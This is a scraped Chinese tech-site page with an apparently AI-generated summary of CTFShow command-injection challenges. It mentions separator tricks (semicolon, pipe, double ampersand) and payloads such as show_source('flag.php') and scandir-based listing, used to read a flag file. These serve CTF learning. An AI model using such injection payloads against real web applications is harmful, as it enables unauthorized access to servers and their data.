  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值